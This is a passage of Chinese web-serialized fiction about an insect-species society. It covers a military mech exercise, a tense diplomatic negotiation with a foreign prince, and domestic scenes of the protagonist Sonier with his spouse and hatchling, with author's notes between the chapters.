“我已经考虑过,圣山才会发送我的请求,请您立刻办理,今晚我们就不住在这里了。”索涅说完,径直向监牢走去。 杰里士一愣,既然不住了,还回去干嘛? 他的疑惑半个小时后得到回答,两只雌虫守卫搬着一些东西,索涅左手抱着虫崽,右手牵着赫尔辛斯。 杰里士嘴角一抽,就这架势,再过几个月一架中型舰都搬不完。 谁他么像这两个,在监狱里安家?他们最高法是公租房吗? 走了也好,走了清净! 赫尔辛斯恍惚地仰头看着天边火红的颜色。 他几乎快要忘记外面的感觉,即便以前被监禁,他也总是想着外面各种各样的事情。这次被雄虫陪着,他大部分心神都放在雄虫身上,再次见到外界,竟然有种恍如隔世的感觉。 “白天下了点小雨,不过圣山还是一层厚厚的积雪,”索涅没有催促他,“等山上雪化一些,我们就搬到圣山上,虽然来去麻烦,但安全一些。” 赫尔辛斯弯起唇,“谢谢您,雄主。” “鹅~?” 虫崽突然叫了一声,大眼睛一眨不眨地看着一个方向。 索涅和赫尔辛斯看过去,对面街道一只虫拿着一个超大个炫彩棉花糖,一边走一边吃,回头率拉满。 索涅扭头一看,一大一小都眼巴巴地看着棉花糖。 “虫崽很喜欢棉花糖。”赫尔辛斯说。 他失笑,“我们也去买一个尝尝吧,大馋鬼小馋鬼。”—— 作者有话说:400字的章节[鼓掌]这是一个意外[狗头] 第50章 图泽? 这场雪下得突然,融化起来也一…… 这场雪下得突然, 融化起来也一个晚上就不见踪影,地上满是斑驳湿痕,从高空看下去, 就好像圣山周围的地面患了牛皮癣。 “哎呀呀, 这日子也是越过越有劲儿了。” 这家伙慵懒惬意的姿势看得人牙根痒痒。 “你就不紧张?”索涅问。 “紧张啊, ”恩修乐乐呵呵地吃着水果, “你问我的时候要不要先看看你自己, 一张面瘫脸跟要去奔丧似的, 哪像去给三军当吉祥物?” “天生这样,我有什么办法?”索涅也就是随口一问。 他们正在飞往南部军区的飞行舰上,圣山和军部搞了一个联合军演, 邀请圣子和圣托雄虫部、机甲战斗系去观赏。 索涅作为三者兼具一身的倒霉蛋, 很遗憾地无法推脱。 他走神地望着窗外蓬松的白云。 “想老婆了?”恩修饶有兴致, “你竟然舍得你家大美人和小胖崽,我是真没想到。” “费伦斯执政官亲自发的邀请函。”索涅说, “也不知道我是哪里入了他的眼。” “安啦,兵来将挡水来土掩。”恩修安慰自己的老乡,旋即探出头,“莱昂兹,我们不会迟到吧?” 莱昂兹很有信心:“您放心, 除非遇到意外——” “嘭——!”一声巨响! “殿下小心!” 一架飞行舰与他们直直相撞,机翼瞬间火光冲天,浓烟将他们的窗户完全覆盖。 飞行舰剧烈晃动,索涅眼前一花, 身上安全带瞬间收紧,两只雌虫守卫紧张地骨翼蓬起,随时准备带着索涅避险。 “不要慌。”莱昂兹冷静的声音响起。 飞行舰迅速地恢复平稳。 “叮——自检启动, 自检完成,无异常。”机械音响起。 风舱启动,周围浓烟被强风吹散,目光所及以及看不到那架飞行舰,只有被搅乱的云团。 “殿下,您没事吧?”两只雌虫收起骨翼。 “我好像有点事……”恩修脆弱道。 莱昂兹瞬间紧张:“您伤到哪儿了?!” 恩修默默地取下自己脑门上的奶油蛋糕,“也不是什么大事。” “……” “撞我们的飞行舰状态不对,像是有虫在争夺控制权,现在应该掉进海里了。”莱昂兹说道。 索涅向下看去,蔚蓝海面平静无波。 “谁啊!这么没公德心。”恩修骂骂咧咧地擦脸,“到处乱扔垃圾。” 索涅:“……莱昂兹,周围还有其他飞行舰吗?” “没有,那架飞行舰也是突然出现,之前应该是开了隐匿模式,应该是架军用舰。”莱昂兹说。 索涅蹙起眉,“军用舰怎么会在主星开隐匿?” “感觉今天不太平。”恩修说。 南部军区驻扎着联盟主星最精锐的三支重型机甲军团,整个南半球只有这一片大陆,全部用作军事训练。飞行舰平稳穿越云层,缓缓地降落在宽阔的舰场,和他们同时到来的飞行舰上也挂着各种不同的符号,索涅能认出多数,有几个却没见过。 “圣子殿下,第一军卡尼·麦林顿向您问好。”一只蓝金军服的雌虫向他走来,身后还跟着四只军雌。 “你好,索涅·诺米茨。”索涅微微俯身回礼。 卡尼笑意更大,视线转向索涅身后,“莱昂兹少将,多日不见,原来你出差回来了?” “早就回来了,不过是修了一个月年假,”莱昂兹说,“这位是恩修阁下,也是圣托的学生。” 他转过身露出身后正整理头发的雄虫,卡尼瞬间眼睛一亮,“阁下您好,我是第一军少将卡尼·麦林顿。” 恩修才整理好自己黏黏糊糊的头发,闻言抬起头,修长的狐狸眼锁定跟他说话的虫。 卡尼呼吸一滞。 “你好你好。”恩修随意地拨了拨自己的头发,问莱昂兹,“还丑吗?” “刚才也很好看。”莱昂兹说。 “捧场王,我是问你奶油还有吗?这一块头发黏了吧唧难受死了。”雄虫嘀咕。 卡尼走在索涅身后半步,不时地观察后面两位。 看起来莱昂兹和这位阁下的关系非同凡响。不过没关系,还有一个雌君位置。 “其他两位殿下还没有来,您可以在这边稍作休息,有任何事都可以吩咐他们。”卡尼示意自己身后的两只军雌走到索涅身边。 这是一处训练场旁边的休息厅,宽大的沙发躺两只虫都绰绰有余,漆黑亮面的皮质反射着晕染的灯光。 “谢谢,”索涅说道,“费伦斯执政官到了吗?” 卡尼笑得标准,“还没有。” 他目光一转,却没有离开,“恩修阁下,您需要清洗一下头发么?” “很难看?”恩修有点尴尬。 卡尼唇角上扬,“当然不难看,您的容貌简直是珀斯神都嫉妒的存在,只是您看起来很不舒服。” 他说着说着,渐渐靠近恩修。 “长官,卡特斯上将在催促尽快联系那边。”一只军雌进来说道。 卡尼动作一顿,转向索涅满含歉意地说:“我得先离开一会儿,艾浮殿下和西沙殿下可能会迟到一会儿,您不用等他们。” 索涅颔首,“我明白了,谢谢。” 卡尼走后,他若有所思地看着恩修说:“总感觉他是看在你的面子上提醒我。” 恩修正在盯着莱昂兹的手发呆,闻言指着自己的鼻子,一脸理所当然:“不明显吗?我长得这么绝色。” 索涅:“……” 训练场建在一马平川的地区,从高台眺望,依稀看到远处望不到边的草地。南半球正是寒冬,但训练场建在低纬度,仍旧绿树如茵。 恩修去找圣托雄虫部的位置,索涅则是跟随指引来到自己的座位,正前方就是费伦斯执政官,安莫因施施然翘着腿坐在费伦斯旁边。 “索涅殿下,来得好早。”费伦斯说道。 索涅默然,不知道费伦斯是不是在说反话。 费伦斯穿着一身圣山标配的长袍,和安莫因站在一起像两个世纪的虫。 “还是不如您早,您和安莫因委员长一起来的?”索涅随口问。这俩虫身上的香薰一模一样。 安莫因微微一顿。 “是啊,”费伦斯闻言竟然露出明显的笑意,“辛苦我们委员长阁下了,毕竟今天的活动要跨几个时区。” 安莫因更不自在了,换了个方向翘起左腿,长靴抵在费伦斯小腿上。 费伦斯不再说这些寒暄的话,和索涅你来我往官话飘飞几句,转身看着远处黑压压的机甲。 安莫因余光瞥到这家伙安然的侧脸,不禁暗自磨牙。 什么意思,费伦斯在奚落他吗? 索涅没注意到他们在打什么机锋,他的心神全部被远处渐渐露出的庞然大物吸引,简直舍不得眨眼。 机甲,一架又一架,平均高于一百五十层楼的重型作战凶器,正擦着地皮低空飞行。 索涅心脏堵在喉咙口,情不自禁屏住呼吸。 他现在明白了观赏台为什么要建这么高,有了摄像观赏屏还要每只虫发一个瞭望镜。 其实这只是准备工作,机甲很快就停在远处不再移动,静待军演开始。 半个小时之后,艾浮和西沙才姗姗来迟,矜持地和费伦斯打过招呼,坐在索涅右手边。 “索涅殿下来得真早。”艾浮微笑着说。 压着时间出场才是贵族彰显地位的方式。 “是啊,我来得早,您两位也没有迟到太久。”索涅面无表情地和他一起感慨,一副“我们都很棒棒”的语气。 “……听说赫尔辛斯给你生了只雌崽?真是可惜,很少有恩其顿第一个蛋是雌蛋。”西沙勉强接住话头,换了个周围偷听的虫都喜欢的话题。 索涅不得不把目光从机甲上撕下来,扭过头看向他们。 黑漆漆的眼珠边缘渗出深蓝的无机质弧光,就像某种代表邪恶的宝石。 “你问赫尔辛斯干什么?”黑眼珠牢牢地锁定西沙。 西沙:“……我是说你的雌蛋,赫尔辛斯那种等级,第一个蛋不该是雌蛋。” 索涅瞥向他的眼神露出一丝嫌弃,“我喜欢赫尔辛斯生的蛋,与雌雄无关,你不喜欢雌蛋?” “……我,当然也喜欢,但是你毕竟浪费了恩其顿的基因……”西沙斟酌着,话音开始结巴。 艾浮暗自发笑,西沙果然是个蠢货,竟然和乡巴佬交锋都会落入下风。 “我毕竟不是梅尔加,只要赫尔辛斯不觉得我浪费就好。”索涅说。 他的语气简直甜蜜得令虫嫉妒。 西沙捏紧了座椅扶手,十指发青,一时有点笑不出来。 “索涅阁下,”安莫因突然说,“等军演结束,我们尊敬的执政官想去看看您的虫崽。您还答应过我虫崽孵出来我就可以抱,您还记得吧?” 索涅一怔,“当然记得,不知道您有没有办法联系莫尔亚?赫尔辛斯比较关心他的虫蛋。” 安莫因笑容一僵。 该死——呸!讨虫厌的家伙! 费伦斯似笑非笑地看了安莫因一眼。 艾浮和西沙从三只虫短暂的交流里嗅到一丝不祥的气息,心里有些发沉。 不是说安莫因和赫尔辛斯交好?费伦斯和安莫因不和?那索涅怎么会引起费伦斯的关注?难道仅仅因为费伦斯也是以平民身份长大? 时间一分一秒地走着,军演却迟迟没有开始。 “那边的派头摆的未免太大了。”安莫因不耐地说。 费伦斯一派淡定。 索涅不由得惊讶,费伦斯和安莫因都已经坐在这里这么久,难道有哪只虫还没到? 不知道又过了多久,一架飞行舰远远地出现,一个急刹速降直接落在训练场,刹轮磨出火花四溅。 “可算是来了。”安莫因冷哼一声。 那张脸出现在训练场的瞬间,现场一片哗然,摄像机瞬间飞遁怼到来者脸上。 索涅错愕地看着那个身穿制服的身影。 图泽??《 》 50-60 第51章 S级雄虫 喧哗声渐渐停息,在…… 喧哗声渐渐停息, 在众虫饱含震惊、不解、仇恨、怀疑的眼神中,卡特斯上将缓声开口:“让我们欢迎,来自安斯族的休伊斯殿下, 作为远道而来的观赏者, 一同参与此次军演。” 图泽, 也就是安斯族三皇子休伊斯·缪林, 淡然地露出一个微笑, 缓步踏上飞行器, 落在费伦斯面前。 “执政官殿下,好久不见。”休伊斯自然地像老朋友般打招呼。 “休伊斯殿下风采依旧,”费伦斯面色如常, “这几个月过得怎么样?适应安斯族的环境么?” “劳您关心, 安斯族恐怕找不到像圣山那么豪华的地方。”休伊斯说道。 众虫怒目而视。 这家伙简直不要脸! “也是, ”费伦斯随口应和,“那么, 请您到后面索涅圣子身旁就座,军演马上开始了。” 休伊斯目光转向后排。 艾浮和西沙面色稍显诡异。 休伊斯略过他们,径直看向顶替了他位置的那只雄虫。 雄虫身穿黑色长袍,领口衬衣的雪白几乎和肤色融为一体,难得是一头顺滑的黑色短发。 似乎感应到他的目光, 雄虫抬起头。 一双黑白分明的眼睛,上眼睑将瞳仁遮去大半,露出一对冷中带恶的三白眼,静静地和他对视三秒。 休伊斯移步走到座位边, 伸出手,“休伊斯·缪林。” 索涅看了他一眼,心绪并不含恶, 神情却不太善良。 “索涅·诺米茨。”他说。 象征性地打了招呼,休伊斯安之若素地坐下,令一众期待索涅给他一个下马威的虫子无比失望。 索涅有心想想休伊斯的事,但机甲缓缓地飞行到正前方,他顿时没心情思考阴谋诡计,一眨不眨地仰头看着黑压压的战争凶器。 推进器的超低频嗡鸣让他耳膜发痒,第一架机甲飞过眼前,森冷的金属寒光在索涅脸上一闪而过,一股燃料和金属混合的铁锈味席卷而来。 看着这架机甲,索涅却忍不住想起一架出自顶级大师之手,只服务于赫尔辛斯的重型三系统双向机甲。 SS09。 现封存于联盟机甲保养中心,五年来无数军雌试图申请这架机甲,精神力却不足以唤醒它。 曾有虫推测,赫尔辛斯的精神力或许已经突破S级的限制,不过一直没有得到证实。 飞过观赏台后,机甲推进器陡然爆发,眨眼间化为一个小黑点没入云层,只留下数道青色轨迹。 正当索涅沉浸于观赏这批尤物时,休伊斯突然出声:“索涅阁下很喜欢机甲?” “还行。”索涅随口说。 “我族内最近正好研制出一架顶S机甲,不如作为见面礼送给您,不知道您是否喜欢?”休伊斯微笑。 周围霎时一静。 顶S机甲起码价值一百亿以上。 索涅挺烦这些老打搅他观赏尤物的家伙。 “我的雌君刚生了虫崽。”索涅扭头语气平淡。 休伊斯一顿:“……恭喜?” “所以我还不想蹲大牢。”索涅说。 休伊斯:“……” “您的心意我心领,不如直接代我把它捐给联盟研究院,或者您可以偷偷地私下给我。”索涅一本正经地说。 休伊斯:“……” 其他虫:“……”其实我们听得到。 “请注意!前舱即将闭合!座椅上升安全仓!请勿走动!”机械音突然想起。 索涅回过头心中懊恼,有几架他还没来得及看就飞走了! 观赏台在轻微晃动中缓缓上升,每个座椅都升起透明保护罩,整个观赏台也被前方突然出现的墙壁笼罩,沉闷的轰鸣声中,索涅感到身体一阵失重。 原来,这高耸的观赏台不过是庞然大物的冰山一角! “莫里斯星舰S9709号为您服务,请等待星舰悬空后再走动。”一道柔和些的嗓音响起。 “费伦斯阁下,这就是那架战无不胜的9709?”休伊斯问道。 “看来您对此有所了解。”费伦斯没说是与不是。 休伊斯却露出笑意:“毕竟我的父皇就是败在这艘星舰的炮火之下。” “我想您恐怕错了,”安莫因慢吞吞地说,“您的父亲是被机甲SS09轰成宇宙尘埃。” 索涅目光微凝。 休伊斯的父亲,也就是安斯族上一任的王,死于赫尔辛斯之手。 果然,休伊斯目光微转,对着索涅露出一个笑:“索涅阁下,听闻你的雌奴是赫尔辛斯·恩其顿?不知我可否有幸一见?” 索涅看着休伊斯,眼神中不禁流露出一丝奇异,像是在看傻逼:“我的雌虫是你的仇敌,你怎么会问我这个问题?” 休伊斯:“……” 体面呢?属于高层之间的体面呢?这家伙的风度被狗吃了? “请注意,请注意!星舰已悬停,外景即将开启,保护仓已打开。”机械音再度响起。 “来吧,真正的好戏要上演了。”安莫因伸了个懒腰站起来。 他听后面索涅和休伊斯的对话听得想笑,又挺欣慰。 费伦斯也站起身,“索涅阁下既然对这些感兴趣,不如和我们坐在一起,让强大的前第一军上将为您讲解一番。” “求之不得。”索涅同样笑着说道。 休伊斯落于后方,若有所思地看着索涅和费伦斯的背影。 虫子们走观景厅边缘,脚下踩着完全透明的地板,低头看去,仿佛要被宇宙吸入无底深渊。 部分雄虫双腿打摆,尽管想维持体面却还是忍不住面色苍白,座椅适时地出现在他们身后。 “索涅阁下不害怕?”安莫因问。和他费伦斯分别站在索涅两侧。 索涅感觉有点奇怪,他明明站在后面,怎么莫名成了C位? “我喜欢星空。”索涅的精神丝已经蠢蠢欲动。 宇宙中好像有什么在吸引着他,轻微的牵扯感从精神域传来,精神丝有些躁动不安,丰沛的能量满到外溢。 扭曲的精神磁场已经逐渐影响到周围的虫,不少高级雌虫巡着磁场的异常看去,顿时神色怪异。 费伦斯蹙起眉,想到什么似的神色一变。 “索涅阁下,你控制不住自己的精神丝?”艾浮语气微妙。 “不应该,可能索涅阁下极少上星舰,所以不适应,他可是打破了第三轮记录,怎么会连精神丝都控制不住?”西沙语含深意地说。 索涅也不明白这是怎么回事,但这两只虫什么意思他还是能听出来。 他面无表情:“可能是精神丝和宇宙共鸣比较高,您二位多担待。” “和宇宙共鸣?!”艾浮嗤笑,“这怎么可能?!” “不可能吗?”费伦斯淡淡地问。 艾浮:“……这样的案例少之又少……” “那就是有可能。”费伦斯无心和艾浮扯皮,伸手从安莫因腕上暗兜里取出一支药剂递给索涅。 “可以抑制一会儿精神丝。”他提醒道。 索涅一顿:“……多谢您。” 他接过这支抑制剂,心中一时闪过各种思考。 吃。 还是不吃? 费伦斯缓缓地勾起唇角,“我没在里面下毒。” “你不下不代表我没下,这玩意儿放在我身上。”安莫因轻啧一声。 索涅:“……” 所以可以先问一句两位到底有什么苟且吗? 在前前后后几十道目光的注视下,索涅仰头喝掉这支药剂,立刻感觉头脑一轻,躁动的精神丝犹如气愤的猫被摸了脑袋一样瞬间安静,在精神域中静静蛰伏。 费伦斯感受到周围变化,心中松一口气,笑着说:“看来索涅阁下的精神力等级已经达到A级顶峰,实在是联盟之幸。” 索涅一笑置之。 艾浮和西沙的脸色却不太好看。 梅尔加与恩其顿的结合,可以在数十年后有机会突破彼此等级,这一向是令高级恩其顿雌虫和梅尔加雄虫为之疯狂的存在。 曾经有一只梅尔加,在与恩其顿结合后的第五十年,突破A级达到S级,成为混乱纪元后唯一一只S级雄虫! 每一代梅尔加,但凡有顶A精神力,都会被视为达到这一进化的希望,全族着重培养。但数千年来,从未出现第二个S级雄虫。 此时此刻他们不由得庆幸,索涅并不是梅尔加。 曾经的S级雄虫带领虫族从贫瘠之地举族搬迁到富饶的星系,才有虫族的飞速发展和如今的宇宙地位。 费伦斯作为难得的顶级梅尔加血脉,曾经因为不和恩其顿结婚而备受诟病。不过他只是梅尔加和某个脉系的混血,突破S的可能性极小,这件事也就渐渐被遗忘了。 但就现在,索涅的精神力等级显然比他们高。 他们两个在乎的是索涅的高等级,其他虫面色古怪的原因却是安莫因和费伦斯的关系。 星网上安莫因和费伦斯都有不少离谱谣言,但从没虫想过这两只虫会在一起,费伦斯不打死安莫因已经极具涵养。 但。 费伦斯的药剂怎么会在安莫因身上? 他们对话之间也有一种诡异的亲昵…… 索涅夹在这两个大佬之间,倒是怡然自得。 因为他注意力全在机甲战舰上面。 “联盟对于机甲、战舰、星舰的命名方式都相同,等级再加上设计批次。”安莫因讲解得格外耐心。 密密麻麻的激光射线几乎覆盖所有视野,两方展示性战斗也走的是火力覆盖的路子,不过三秒已经折损两架战舰,五十亿星币眨眼烧光。 “联盟果然财大气粗。”休伊斯说道。 “这种时候不需要节省,不然以后死都不知道怎么死。”安莫因说道。 索涅深以为然。 要不是国力雄厚,最后的剧情里安斯族也不会被削弱得所剩无几,只能在圣山和区区几架机甲血战几天几夜,最后靠阴招炸毁能源基地,才勉强惨胜。 战舰穿飞中,两方机甲磁流炮毫不留情,仿佛对面不是同袍,而是真正的死敌。 一阵磁流巨浪撞击得星舰沉闷颤动,部分虫脚下不稳地,一屁股栽倒在座椅中。 “这种东西,该是赫尔辛斯比我擅长。”安莫因说道。 “很多问题我都会请教他,他倒是从来不嫌我烦。”索涅顿时露出笑意。 他们两个自顾自地说着,丝毫没注意到周围气氛发冷。 军演以蓝方第二军胜利告终,艾浮不禁露出一丝得意,他看向索涅,却发现对方压根没注意他。 第一军负责打扫战场,众虫搭乘重型舰返回主星。 “实在抱歉,休伊斯殿下,其他事宜我们只能明日再谈,今天下午已经安排其他要事。”费伦斯说道,“圣山已经为您安排住所,卡特斯上将会负责您的安保工作。” 休伊斯也没有任何异议,不过他大概也想不到,费伦斯和安莫因所谓的要事就是去看索涅家的小虫崽。 “请进,”索涅打开门,“几个月没打理,院子里恐怕有些凌乱。” “很有野趣。”费伦斯说道。 他们正说着,一个小机器旋转着涡轮臂从后院蹿出来:“陌生访客!陌生访客!” “阿橘,别紧张,这是贵客。”索涅连忙道。 阿橘机械红眼睛眨了两下,缓缓地变为绿色,又回后院除草去了。 “赫尔辛斯,我回来了。”索涅声音并不大。 客厅里寂静无声。 “他可能在睡午觉,最近犯春困。”索涅无奈地笑着。 “这家伙越来越懒了。”安莫因吐槽道。 他大咧咧地坐在沙发上,一把将矜持的费伦斯也扯过来,“虫崽醒着没?我们先看一眼小崽子。” “听杰里士说可爱得不得了,真可恶,他竟然比我先抱到虫崽。”安莫因不爽道。 索涅去二楼抱小崽子,费伦斯悄悄地打量一番这座房子,对安莫因说:“这里倒挺好,外面就是广场,比圣山热闹。” “你要是大宫殿住腻了,要搬到山下来,也没虫管你。” 费伦斯摇头,“现在还不行,还是山上隐蔽。” 安莫因被他的话说得不自在,下意识翘起腿轻咳一声。 “你今天什么意思?” 费伦斯云淡风轻:“什么什么意思?” “你是不是想公开了?”安莫因盯着他。 “……循序渐进吧。”费伦斯说道。 安莫因嗤了一声,“跟我也来这套含糊其辞。” “我的意思是一步一步地来。”费伦斯无奈。安莫因总是索要百分之百确定的答案。 听到楼上动静,两虫顿时收住话音。 索涅抱着金色头毛的小崽子,赫尔辛斯神情慵懒长发披散,看起来刚才竟然真的在睡觉。 “好白的小虫崽。”安莫因诧异,“赫尔辛斯,这不像你的崽啊。” 赫尔辛斯微笑:“因为他遗传了我和雄主两部分的基因。” 安莫因兴致高昂地抱着小虫崽,虫崽咯咯直笑,看起来很喜欢他的银头发,抓在手里就不放。 “执政官阁下,你看到没,他喜欢我。”安莫因对费伦斯嘚瑟道。 费伦斯微微一笑,伸出双手。 虫崽立刻照做,扬起一双小手求抱抱,扑进费伦斯怀里。 安莫因:“……好一个多情的小胖崽。”—— 作者有话说:推预收[狗头叼玫瑰]《校园男主为何这样》 钓系美人攻&纯情爷们儿受 罗彧因车祸昏迷在床两年,某天被一个自称吃瓜系统的玩意儿电醒,要他观察男女主相处完成吃瓜任务,不然就继续躺床上当植物人。 罗彧这才知道,自己的姐姐苏一凡是一本小说里的女主。 他重回学校读书,和男主乔醺成为了同桌。 校园,系统,傻里傻气,在春光明媚的年纪里放肆大笑。 第52章 已经死了 “那是什么!!”安…… “那是什么!!”安莫因大惊失色地抱着虫崽站在门口。 索涅疑惑, 手里拿着一个碗:“这个?这是赫尔辛斯做好的饭,他中午没吃完。” “你吃他的剩饭?!!!!”安莫因嗓门儿贼大。 “不,现在不吃, 我找一些新鲜肉菜做晚餐。”索涅说完转身继续翻找冰箱。 “还是我来吧, ”赫尔辛斯扎起头发, 取走索涅手里的围裙, “我做几个硬菜。” 索涅在一旁定定地看着他的雌虫。 赫尔辛斯看到他的神情, 顿时失笑:“不是说您做的不好吃, 而是……毕竟有外虫在,我希望您做的菜只给我吃。” 索涅有些不好意思,帮雌虫系上围裙, 然后一起摘菜叶子。 四只虫, 今晚确实要做一大桌菜才行。 “我来帮忙。”安莫因依依不舍地将虫崽交给费伦斯, 然后拦住想跟进来的某雄虫,“执政官阁下, 您好好照顾小胖崽就行。” “难道只有我是吃白饭的么?”费伦斯说。 安莫因指着小虫崽:“不还有他吗?” 虫崽单纯地咧着嘴咯咯傻乐。 安莫因虽然学过,但十指不沾阳春水很多年,很快就被赫尔辛斯嫌弃地打发去削水果。 他和索涅在一旁甜甜蜜蜜,你加个盐我加个糖,你搅一搅我翻一翻, 看得安莫因一阵牙疼。 “怎么样?”安莫因把果盘摆在桌上。 费伦斯露出笑意:“有些审美在。” “而且营养丰富,你看不出来吗?”安莫因不满。 “我还看出来一点别的,”费伦斯低头逗弄着小虫崽,“都是我喜欢的水果。” 安莫因不自在地轻咳一声:“不过是口味相似而已。” 费伦斯笑而不语。 恒星很快落到地面以下, 热烈的夕阳从落地窗投射进来,菜品本就丰富的配色显得更加诱虫。 雪白的鱼肉经过高温蒸烤,边缘鱼皮微微翘起, 露出一块块饱满的蒜瓣肉,底下蒸馏出来的汤汁浓郁而不厚重,配上翠绿殷红两色的香辛料,色香味俱全,令虫食指大动。 “来吧,尝尝我自研的菜品。”赫尔辛斯端着最后一道汤出来。 “你退休以后开餐厅也能活得挺滋润。”安莫因尝了一口后评价。 索涅从外面拿进来一个箱子,取出两瓶冰封的美酒。 “你们家里不常备酒水?”安莫因惊讶。 索涅两指捏住软木塞,只听到一道圆润的“嘭”,酒瓶口散发出浅淡白雾。 “索涅阁下好大的力气。”安莫因拿过一瓶试了一下,能拔出来,但没有索涅那么轻松。 “家里没有开瓶器。”索涅无奈地说。 “我那里有几十瓶好酒,改天让他们给你送来,偶尔小酌一杯,也是不错的情趣。”费伦斯说。 “那我就却之不恭了。”索涅本来也准备买几瓶酒放在家里,不过还没来得及询问赫尔辛斯的喜好。 虫崽崽看着大家吃的那么香,嘴角渐渐湿润。 索涅失笑,又起身热了一瓶营养奶塞给崽崽,虫崽吃饱之后很快呼呼大睡。 宾主尽欢,费伦斯看起来有些醉意,安莫因和他一起上了飞行舰,临走还留下三支精神力抑制剂。 “这是……”索涅在沙发上发现了这些拇指大的小药剂。 “我今天在星舰上,精神力躁动不安,但也能控制得住,就是不知道为什么能量一直溢出。”索涅见赫尔辛斯过来,拉着他坐下。 他手心里躺着三支白色药剂,眉心微蹙,“费伦斯阁下给了我一只这个,当时就能抑制住能量,我这是怎么回事?” 他担心自己有病。 赫尔辛斯贴近他的额头,索涅闭上眼睛任由雌虫的精神丝穿梭。 “一切正常,”赫尔辛斯位眉心皱起,“费伦斯肯定知道。” “可以问问安莫因。”索涅悠悠地说。 赫尔辛斯一顿:“可安莫因和……” “我觉得他们其实私底下关系不错,”索涅拿起一只药剂,“当时那只药剂,是费伦斯直接从安莫因袖口暗兜里取出来的。” 赫尔辛斯:“……好,我问问他。” 不止这一件,他有很多事要问安莫因。 “赫尔辛斯,”索涅不想再讨论这些,将雌虫扑倒在沙发,“让我摸摸。” 雌虫脸一红。他觉得没什么好摸的,但他的雄虫就是喜欢。 “我不是想摸你,医生都说了,揉一揉有助消散。”索涅戳了戳雌虫的异常硬的胸肌。 雌虫昂起头。 有点痛,又有点爽。 “恩其顿很少有假性发育……”赫尔辛斯低声说,“您是不是以为……我会哺乳?” “……我没那么想。“索涅摸了摸鼻子,“没想过让崽崽吃。” 咳。 那谁吃? 赫尔辛斯用手臂遮住眼睛,躺在沙发上任由施为。灯光晕染他的视野,带来一种似真似幻的感觉。 索涅唇角上扬,朝害羞的虫虫伸出魔爪…… —— 果然不管在哪里,索涅都不想出门。第二天圣山又通知他参加会议。 索涅抵达会厅,一眼看到恩修正正襟危坐双眼放空。看起来人模狗样,但其实在发呆。 “你怎么来了?不是说和安斯族的谈判么?”索涅坐在恩修旁边。 “我哪知道,大清早莱昂兹把我薅起来。”恩修打了个哈欠。 “我去那边坐,今天不知道有什么事儿,你小心点。”索涅说道。 恩修费劲地打起精神,“刚开学咱就这么请假,完大蛋。” 索涅无奈,雄虫部倒是对他请假很宽容,但索涅更愿意去上课。 今天费伦斯没来,索涅找到自己的座位后,怎么看怎么觉得不对劲。 他坐在那个位置,正对面就是休伊斯的座位,左手边是安莫因,右手边是脸色铁青的艾浮和西沙。 索涅心中思绪翻滚,面上却神色如常。 休伊斯从侧门走进来,看到索涅所处的位置后眉头微挑。 “一天不见,索涅阁下就当上执政官了?”休伊斯唇角勾起,笑意却根本不达眼底。 索涅抬眼,缓声开口:“休伊斯殿下倒是没变,还是爱说一些不该说的话。” 休伊斯神情冷下来。 两方隔着长桌隐隐对峙。 “那么,正式开始吧。”安莫因沉声说,“当年那一战是你们挑起,作为胜利方,联盟没有向你们征收罚款已经是仁慈,你们竟然还敢提出谈判?” 休伊斯唇角轻扬:“委员长阁下,话可不是这么说的,我族之王在那场战争中殒命,凶手却逍遥法外,没有掀翻你们关押罪犯的牢狱,我们也自认为非常仁慈。” “恕我提醒,”一只雌虫上将开口,“种族之战,没有‘凶手’这两个字,你族有意见可以上诉星际法庭。” “多谢提醒,”休伊斯露出笑意,“不过也容我提醒你们,这战争可不是我族挑起。尽管那几百只族民偷渡是他们不对,但你们私自滥杀,给整个星际造成恶劣影响,这是不争的事实。” “我族当然要为枉死的族民讨回公道,也要让联盟为恃强凌弱的行为付出代价。” 谈判桌上虫子们眼神微动。 安莫因丝毫不为所动,语气冷漠:“请拿出证据,不然……” 休伊斯早有准备,身旁副官将储存器插入接口,海量监控视频和证据链顿时浮现在他们眼前。 索涅粗略扫过,蹙起眉头。 “联盟可以用各种方法检验。我们问心无愧。”休伊斯说道。 安莫因抬手拿起储存器,“交给费伦斯执政官。” “是。”军雌应声。 “我还以为,您二位的关系并不融洽。”休伊斯看着安莫因说道。 安莫因掀起眼帘:“与你何干?” “检验你带来的东西需要一段时间,我们不如来聊聊你的间谍行为。” 休伊斯微笑着侧耳:“间谍是谁?” 安莫因:“你。” 休伊斯:“我?我什么时候当过间谍?” 安莫因:“过去的八年内。” 休伊斯:“可我一直待在族内从未离开,你们是不是误会了什么?” “索涅阁下,”休伊斯突然看向索涅,“你可是在安斯族内见过我的,你得帮我作证。” 话音落下,会厅顿时一片死寂。 索涅原本一直垂着眼帘,闻言缓缓地抬眼,然后伸手掏了掏耳朵。 “什么时候?” 他这话问出来,相当于间接承认,众虫顿时眼神犀利的盯着他。 安莫因皱起眉看向索涅,却只看到他的侧脸。雄虫的黑发遮住额角,黑黝黝的眸子黑洞般深不见底。 休伊斯心中微顿,这家伙怎么这么给面子? “……两年之前,我们在一场舞会上认识。”休伊斯语气柔和地说。 索涅又问:“我跳了什么舞?” 休伊斯:“一支华尔兹。我就在您旁边,您可能没注意到我。” 索涅面无表情声音平淡:“你认错了,我不会跳舞。” 原主是没条件跳舞,索涅是压根不喜欢跳舞。 圣子不会跳舞?!! 休伊斯不敢相信,哪只A级雄虫没参加过十个八个舞会? “……哦,对,可能是我认错了。”休伊斯微微停顿一秒,说道。 虫子们的目光更加诡异。 索涅不耐烦地轻啧一声。不知道为什么,他这两天心情格外暴躁,也就和赫尔辛斯待一起会好点。这些目光实在如同跗骨之蛆。 他眉心胀痛,精神丝又在蠢蠢欲动。 安莫因轻轻地敲了两下桌子,“休伊斯殿下,你的目的未免太过明显。” 休伊斯微微一笑。手段粗陋不要紧,管用就行。 “那么至少,联盟承认赫尔辛斯·恩其顿杀了我族之王?” “两族之战,联盟五星上将深入敌营,在敌族使用不知名武器的情况下,以一敌万,擒贼先擒王,使联盟大获全胜。”安莫因缓缓地说。“这是不争的事实。” “顺便提醒您,第一个议题已结束。” 会厅内虫子们神色倒比休伊斯还诡异,有些虫想开口反驳,被安莫因一个眼神杀得闭上嘴。 “索涅阁下,你在笑什么?”休伊斯眼神冷漠,“如果你的父亲被杀死,你还笑得出来?” 安莫因:“……” 索涅连眼都没抬,前世他就是孤儿,“真抱歉,已经死了。” 安莫因:“…………”—— 作者有话说:索涅:赫尔辛斯真厉害 第53章 他降辈分了?! …… “休伊斯殿下, 如果您再提及与议题无关的事情,我不介意这次谈判提前结束。”安莫因声音冷得能掉出冰碴子。 